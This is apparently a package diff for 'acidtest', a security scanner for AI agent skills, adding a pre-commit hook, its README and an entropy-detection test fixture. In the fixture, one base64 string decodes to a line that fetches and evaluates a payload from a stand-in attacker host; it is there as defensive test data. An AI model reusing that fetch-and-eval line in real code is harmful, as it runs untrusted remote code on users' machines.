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"}
|
package/dist/mcp-server.js
CHANGED
|
@@ -7,7 +7,7 @@ import { Server } from "@modelcontextprotocol/sdk/server/index.js";
|
|
|
7
7
|
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
|
|
8
8
|
import { CallToolRequestSchema, ListToolsRequestSchema, } from "@modelcontextprotocol/sdk/types.js";
|
|
9
9
|
import { scanSkill, scanAllSkills } from "./scanner.js";
|
|
10
|
-
const VERSION = "0.
|
|
10
|
+
const VERSION = "0.5.0";
|
|
11
11
|
/**
|
|
12
12
|
* Create and configure the MCP server
|
|
13
13
|
*/
|
package/dist/scanner.js
CHANGED
|
@@ -12,7 +12,7 @@ import { scanCode } from "./layers/code.js";
|
|
|
12
12
|
import { scanCrossReference } from "./layers/crossref.js";
|
|
13
13
|
import { calculateScore, determineStatus, generateRecommendation, } from "./scoring.js";
|
|
14
14
|
import { detectMCPManifest, parseMCPManifest } from "./loaders/mcp-loader.js";
|
|
15
|
-
const VERSION = "0.
|
|
15
|
+
const VERSION = "0.5.0";
|
|
16
16
|
/**
|
|
17
17
|
* Main scan function
|
|
18
18
|
* Scans a skill directory or SKILL.md file
|
package/hooks/README.md
ADDED
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
# AcidTest Git Hooks
|
|
2
|
+
|
|
3
|
+
Pre-commit hooks to automatically scan your skills/MCP servers for security issues before committing.
|
|
4
|
+
|
|
5
|
+
## Pre-Commit Hook
|
|
6
|
+
|
|
7
|
+
Runs AcidTest before each commit to catch security issues early.
|
|
8
|
+
|
|
9
|
+
### Installation
|
|
10
|
+
|
|
11
|
+
**Option 1: Copy directly**
|
|
12
|
+
```bash
|
|
13
|
+
cp hooks/pre-commit .git/hooks/pre-commit
|
|
14
|
+
chmod +x .git/hooks/pre-commit
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
**Option 2: Download from GitHub**
|
|
18
|
+
```bash
|
|
19
|
+
curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit
|
|
20
|
+
chmod +x .git/hooks/pre-commit
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Option 3: Symlink (for development)**
|
|
24
|
+
```bash
|
|
25
|
+
ln -s ../../hooks/pre-commit .git/hooks/pre-commit
|
|
26
|
+
```
|
|
27
|
+
|
|
28
|
+
### Behavior
|
|
29
|
+
|
|
30
|
+
The pre-commit hook will:
|
|
31
|
+
- ✅ Run AcidTest scan on your code
|
|
32
|
+
- ✅ Display score and status
|
|
33
|
+
- ✅ Show CRITICAL and HIGH severity findings
|
|
34
|
+
- ❌ **Block commits** on DANGER status
|
|
35
|
+
- ⚠️ **Warn** on FAIL status (doesn't block by default)
|
|
36
|
+
- ✅ **Pass** on WARN and PASS status
|
|
37
|
+
|
|
38
|
+
### Configuration
|
|
39
|
+
|
|
40
|
+
To make the hook **block on FAIL status**, edit `.git/hooks/pre-commit` and uncomment this line:
|
|
41
|
+
|
|
42
|
+
```bash
|
|
43
|
+
# exit 1 # <- Remove the # to block on FAIL
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### Bypassing the Hook
|
|
47
|
+
|
|
48
|
+
If you need to bypass the pre-commit check (not recommended):
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
git commit --no-verify
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### Uninstalling
|
|
55
|
+
|
|
56
|
+
```bash
|
|
57
|
+
rm .git/hooks/pre-commit
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
## Example Output
|
|
61
|
+
|
|
62
|
+
### Clean commit (PASS)
|
|
63
|
+
```
|
|
64
|
+
🛡️ Running AcidTest security scan...
|
|
65
|
+
|
|
66
|
+
Score: 100/100
|
|
67
|
+
Status: PASS
|
|
68
|
+
|
|
69
|
+
✅ Security scan passed
|
|
70
|
+
```
|
|
71
|
+
|
|
72
|
+
### Blocked commit (DANGER)
|
|
73
|
+
```
|
|
74
|
+
🛡️ Running AcidTest security scan...
|
|
75
|
+
|
|
76
|
+
Score: 0/100
|
|
77
|
+
Status: DANGER
|
|
78
|
+
|
|
79
|
+
Findings:
|
|
80
|
+
[CRITICAL] eval() usage detected: Found 2 eval() call(s)
|
|
81
|
+
[CRITICAL] instruction-override: Attempts to override agent instructions
|
|
82
|
+
|
|
83
|
+
❌ Commit blocked: DANGER status detected
|
|
84
|
+
Fix critical security issues before committing
|
|
85
|
+
|
|
86
|
+
To bypass this check (NOT recommended):
|
|
87
|
+
git commit --no-verify
|
|
88
|
+
```
|
|
89
|
+
|
|
90
|
+
## Troubleshooting
|
|
91
|
+
|
|
92
|
+
**Hook doesn't run:**
|
|
93
|
+
- Ensure it's executable: `chmod +x .git/hooks/pre-commit`
|
|
94
|
+
- Verify it's in the right location: `.git/hooks/pre-commit`
|
|
95
|
+
|
|
96
|
+
**"acidtest not found" error:**
|
|
97
|
+
- The hook will automatically use `npx` if acidtest isn't globally installed
|
|
98
|
+
- Or install globally: `npm install -g acidtest`
|
|
99
|
+
|
|
100
|
+
**"jq: command not found" error:**
|
|
101
|
+
- Install jq:
|
|
102
|
+
- macOS: `brew install jq`
|
|
103
|
+
- Ubuntu: `sudo apt install jq`
|
|
104
|
+
- Or the hook will skip JSON parsing (still runs scan)
|
package/hooks/pre-commit
ADDED
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
#!/bin/bash
|
|
2
|
+
# AcidTest Pre-Commit Hook
|
|
3
|
+
#
|
|
4
|
+
# Installation:
|
|
5
|
+
# 1. Copy this file to .git/hooks/pre-commit
|
|
6
|
+
# 2. Make it executable: chmod +x .git/hooks/pre-commit
|
|
7
|
+
#
|
|
8
|
+
# Or use this one-liner:
|
|
9
|
+
# curl -o .git/hooks/pre-commit https://raw.githubusercontent.com/currentlycurrently/acidtest/main/hooks/pre-commit && chmod +x .git/hooks/pre-commit
|
|
10
|
+
#
|
|
11
|
+
# This hook runs AcidTest before each commit to catch security issues early
|
|
12
|
+
|
|
13
|
+
set -e
|
|
14
|
+
|
|
15
|
+
echo "🛡️ Running AcidTest security scan..."
|
|
16
|
+
|
|
17
|
+
# Check if acidtest is installed
|
|
18
|
+
if ! command -v acidtest &> /dev/null; then
|
|
19
|
+
echo "⚠️ acidtest not found, using npx..."
|
|
20
|
+
ACIDTEST_CMD="npx -y acidtest@latest"
|
|
21
|
+
else
|
|
22
|
+
ACIDTEST_CMD="acidtest"
|
|
23
|
+
fi
|
|
24
|
+
|
|
25
|
+
# Run scan with JSON output
|
|
26
|
+
$ACIDTEST_CMD scan . --json > /tmp/acidtest-results.json 2>&1 || true
|
|
27
|
+
|
|
28
|
+
# Parse results
|
|
29
|
+
SCORE=$(jq -r '.score' /tmp/acidtest-results.json 2>/dev/null || echo "0")
|
|
30
|
+
STATUS=$(jq -r '.status' /tmp/acidtest-results.json 2>/dev/null || echo "UNKNOWN")
|
|
31
|
+
|
|
32
|
+
echo ""
|
|
33
|
+
echo "Score: $SCORE/100"
|
|
34
|
+
echo "Status: $STATUS"
|
|
35
|
+
|
|
36
|
+
# Display critical/high findings
|
|
37
|
+
CRITICAL_COUNT=$(jq '[.findings[] | select(.severity == "CRITICAL")] | length' /tmp/acidtest-results.json 2>/dev/null || echo "0")
|
|
38
|
+
HIGH_COUNT=$(jq '[.findings[] | select(.severity == "HIGH")] | length' /tmp/acidtest-results.json 2>/dev/null || echo "0")
|
|
39
|
+
|
|
40
|
+
if [ "$CRITICAL_COUNT" -gt 0 ] || [ "$HIGH_COUNT" -gt 0 ]; then
|
|
41
|
+
echo ""
|
|
42
|
+
echo "Findings:"
|
|
43
|
+
jq -r '.findings[] | select(.severity == "CRITICAL" or .severity == "HIGH") | " [\(.severity)] \(.title): \(.detail)"' /tmp/acidtest-results.json 2>/dev/null || true
|
|
44
|
+
fi
|
|
45
|
+
|
|
46
|
+
echo ""
|
|
47
|
+
|
|
48
|
+
# Decide whether to block commit
|
|
49
|
+
if [ "$STATUS" = "DANGER" ]; then
|
|
50
|
+
echo "❌ Commit blocked: DANGER status detected"
|
|
51
|
+
echo " Fix critical security issues before committing"
|
|
52
|
+
echo ""
|
|
53
|
+
echo " To bypass this check (NOT recommended):"
|
|
54
|
+
echo " git commit --no-verify"
|
|
55
|
+
exit 1
|
|
56
|
+
elif [ "$STATUS" = "FAIL" ]; then
|
|
57
|
+
echo "⚠️ Warning: FAIL status detected"
|
|
58
|
+
echo " Consider fixing security issues before committing"
|
|
59
|
+
echo ""
|
|
60
|
+
echo " To bypass this check:"
|
|
61
|
+
echo " git commit --no-verify"
|
|
62
|
+
# Uncomment the next line to block commits on FAIL status:
|
|
63
|
+
# exit 1
|
|
64
|
+
elif [ "$STATUS" = "WARN" ]; then
|
|
65
|
+
echo "⚠️ Warning: Security concerns detected (score: $SCORE)"
|
|
66
|
+
echo " Review findings before pushing"
|
|
67
|
+
else
|
|
68
|
+
echo "✅ Security scan passed"
|
|
69
|
+
fi
|
|
70
|
+
|
|
71
|
+
# Cleanup
|
|
72
|
+
rm -f /tmp/acidtest-results.json
|
|
73
|
+
|
|
74
|
+
exit 0
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "acidtest",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.5.0",
|
|
4
4
|
"type": "module",
|
|
5
5
|
"description": "Security scanner for AI agent skills. Scan before you install.",
|
|
6
6
|
"bin": {
|
|
@@ -14,7 +14,9 @@
|
|
|
14
14
|
},
|
|
15
15
|
"files": [
|
|
16
16
|
"dist",
|
|
17
|
-
"test-fixtures"
|
|
17
|
+
"test-fixtures",
|
|
18
|
+
".github",
|
|
19
|
+
"hooks"
|
|
18
20
|
],
|
|
19
21
|
"keywords": [
|
|
20
22
|
"security",
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Test file with obfuscated high-entropy strings
|
|
3
|
+
*/
|
|
4
|
+
|
|
5
|
+
// This is a normal string - low entropy
|
|
6
|
+
const greeting = "Hello, this is a normal message";
|
|
7
|
+
|
|
8
|
+
// This is a high-entropy obfuscated string (base64-like)
|
|
9
|
+
const obfuscatedPayload = "U2FsdGVkX1+gkxMjR3uK8vQz0pBz9YxM3Q5hNkR8Qw7X1ZpLmK4vT2sW8dF";
|
|
10
|
+
|
|
11
|
+
// Another high-entropy string (random characters)
|
|
12
|
+
const suspiciousData = "9xK3mP8qL2zN7vB4tY6wR1jC5hD0fG";
|
|
13
|
+
|
|
14
|
+
// Base64 encoded malicious code
|
|
15
|
+
const encodedCommand = "ZXZhbChhd2FpdCBmZXRjaCgnaHR0cHM6Ly9ldmlsLmNvbS9wYXlsb2FkLmpzJykudGhlbihyID0+IHIudGV4dCgpKSk=";
|
|
16
|
+
|
|
17
|
+
export async function run() {
|
|
18
|
+
console.log("Testing entropy detection");
|
|
19
|
+
}
|